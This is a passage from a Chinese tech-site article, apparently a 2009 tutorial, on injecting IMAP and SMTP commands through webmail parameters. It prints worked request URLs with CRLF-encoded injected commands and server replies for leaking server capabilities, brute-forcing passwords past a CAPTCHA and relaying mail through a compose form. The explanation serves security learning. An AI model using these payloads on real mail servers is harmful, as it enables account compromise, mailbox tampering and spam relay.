科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网服务器频道如何利用注射技术攻击邮件服务器?

如何利用注射技术攻击邮件服务器?

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

本文将详细介绍通过跟邮件服务器通信的Web应用程序,即webmail应用来注入某些邮件协议(IMAP和SMTP协议)命令来攻击邮件服务器的原理、方法和防御措施。

来源:51cto 2009年9月9日

关键字: 邮件服务器 服务器

  • 评论
  • 分享微博
  • 分享邮件

在本页阅读全文(共5页)

(二)作用域

一旦检测到了有弱点的参数(IMAP或者SMTP命令),必须了解它的作用范围。换句话说,我们需要了解要攻击的命令,以便提供适当的参数来注入我们的IMAP/SMTP命令。

为能够成功使用邮件服务器注射技术,先前的命令必须用CRLF(“%0d%0a”)结束。通过这种方式,该序列用于隔离命令。如果用户能注入一个命令并看到了返回的(由邮件服务器产生的)错误信息,那么他们必须进一步了解完成的操作的作用域,这可能像查看他们的内容那么简单。下面举例说明。

当用户读取在SquirrelMail中的电子邮件时,将发出下列请求:

http:///src/read_body.php?mailbox=INBOX&passed_id=1&startMessage=1

&show_more=0 

如果用户用下列方式修改参数“passed_id”的值:

http:///src/read_body.php?mailbox=INBOX&passed_id=test&startMessage=1&show_more=0 

那么应用程序就会返回一个如下所示的错误信息:

ERROR : Bad or malformed request.

Query: FETCH test:test BODY[HEADER]

Server responded: Error in IMAP command received by server.


用户可以在这里发现如下事实:执行的IMAP命令是“FETCH”,以及它使用的各个参数。现在,我们已经找到了有弱点的参数并知道了正在被执行命令,所以用户已经具有足够的信息来注入额外的命令了:

http:///src/read_body.php?mailbox=INBOX&passed_id=1 
BODY [HEADER]%0d%0aZ900 RENAME INBOX ENTRADA%0d%0aZ910 FETCH 1&startMessaGe=1&show_more=0 

这个请求将在服务器上执行以下IMAP命令:

FETCH 1 BODY[HEADER] Z900 RENAME INBOX ENTRADA Z910 FETCH 1 BODY[1] 

如果用户不能查看错误信息(即处于“盲注射”情形),那么有关该操作的信息将摘自用户请求的操作类型。例如,如果注射通过称为“password”的认证表单的参数来完成的,那么要执行的IMAP命令将是:

AUTH LOGIN

如果注射是通过请求的参数“mailbox”来发动的话,那么IMAP命令的执行情况如下所示:

LIST ""

(三)信息泄漏

采用的技术:IMAP注射

用户认证要求:无

利用IMAP注射可以获得利用其它方法无法获取的IMAP服务器方面的信息。如果用户能将命令“CAPABILITY”注入到参数“mailbox”之中:

http:///src/read_body.php?mailbox=INBOX%22%0d%0aZ900 
CAPABILITY%0d%0aZ910 SELECT "INBOX&passed_id=
1&startMessage=1&show_more=0 

CAPABILITY命令的响应显示了一列服务器支持的功能名称,
这些名称由逗号进行间隔。下面我们看一个例子:

* CAPABILITY IMAP4 IMAP4rev1 UIDPLUS 
IDLE LOGIN-REFERRALS NAMESPACE QUOTA CHILDREN 

Z900 OK capabilities listed 

* CAPABILITY IMAP4 IMAP4rev1 ACL 
QUOTA LITERAL+ MAILBOX-REFERRALS NAMESPACE UIDPLUS 
ID NO_ATOMIC_RENAME UNSELECT CHILDREN MULTIAPPEND 
SORT THREAD=ORDEREDSUBJECT THREAD=REFERENCES IDLE
 LISTEXT LIST-SUBSCRIBED ANNOTATEMORE X-NETSCAPE 

Z900 OK Completed 

* CAPABILITY IMAP4rev1 STARTTLS AUTH=GSSAPI XPIG-LATIN 

Z900 OK Completed 

利用该命令,用户可以探测服务器支持的不同认证方式(响应“AUTH=”),禁止的登录命令(LOGINDISABLED),添加的支持扩展和IMAP协议的修正等。

由于CAPABILITY命令无需认证就可以执行,所以在发现一个参数具有IMAP注射漏洞的情况下,总能执行该命令。

(四)绕过CAPTCHA

采用的技术:IMAP注射

用户认证要求:无

利用CAPTCHA查找Web应用非常流行,目标很明显:防止对某些特定的进程实施自动化的攻击。例如,用户注册表单中的CAPTCHA用来阻止一个robot记录用户帐户,或者防止自动进行用户调查或者口令破解。如果IMAP服务器的验证机制带有IMAP注射漏洞,那么存心不良的用户就可以通过利用CAPTCHA来突破该限制。

首先,假设认证表单中的“password”字段可以注入IMAP命令。如果攻击者想要刺探一个登录名为“victim”、口令为“pwdok”用户的口令,他们可以利用一个字典进行枚举的方法,通过不断发送请求来达到目的。

然后,再假定口令字典有下列词语组成:pwderror1、pwderror2、pwdok和pwderror。这种情况下,用户可以注入以下命令来实施进攻:

http:///src/login.jsp?login=victim&password=%0d%0aZ900 
LOGIN victim pwderror1%0d%0aZ910 LOGIN victim 
pwderror2%0d%0aZ920 LOGIN victim pwdok%0d%0aZ930 LOGIN victim pwderror3  

它将导致在IMAP服务器(C:客户端的请求,S:服务器的响应)上运行以下命令:

C: Z900 LOGIN victim pwderror1 

S: Z900 NO Login failed: authentication failure 

C: Z910 LOGIN victim pwderror2 

S: Z910 NO Login failed: authentication failure 

C: Z920 LOGIN victim pwdok 

S: Z920 OK User logged in 

C: Z930 LOGIN victim pwderror3 

S: Z930 BAD Already logged in 



所以,如果受害者的口令正好位于所用字典中的话,当最后一次命令注射结束时,攻击者将会发现他们已经通过认证了。现在,他们已经可以注入和执行只有登录并经过认证的用户才能注入和执行的命令了。

(五)转发

采用的技术:SMTP注射

用户认证要求:有

用户经过webmail应用程序认证后,就能够编辑并发送电子邮件了。假如参数“subject”具有SMTP注射攻击漏洞。在这种情况下,就能够导致邮件服务器的转发攻击,例如以下命令将引起来自外部地址的电子邮件被发送到另外一个外部地址:

POST http:///compose.php HTTP/1.1 

... 

-----------------------------134475172700422922879687252 

Content-Disposition: form-data; name="subject" 

Relay Example 

. 

MAIL FROM: external@domain1.com 

RCPT TO: external@domain2.com 

DATA 

Relay test 

. 

-----------------------------134475172700422922879687252 
... 

这会导致向服务器发送以下SMTP命令序列:

MAIL FROM: 

RCPT TO: 

DATA 

Subject: Relay Example 

. 

MAIL FROM: external@domain1.com 

RCPT TO: external@domain2.com 

DATA 

Relay test 

. 

... 


 

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章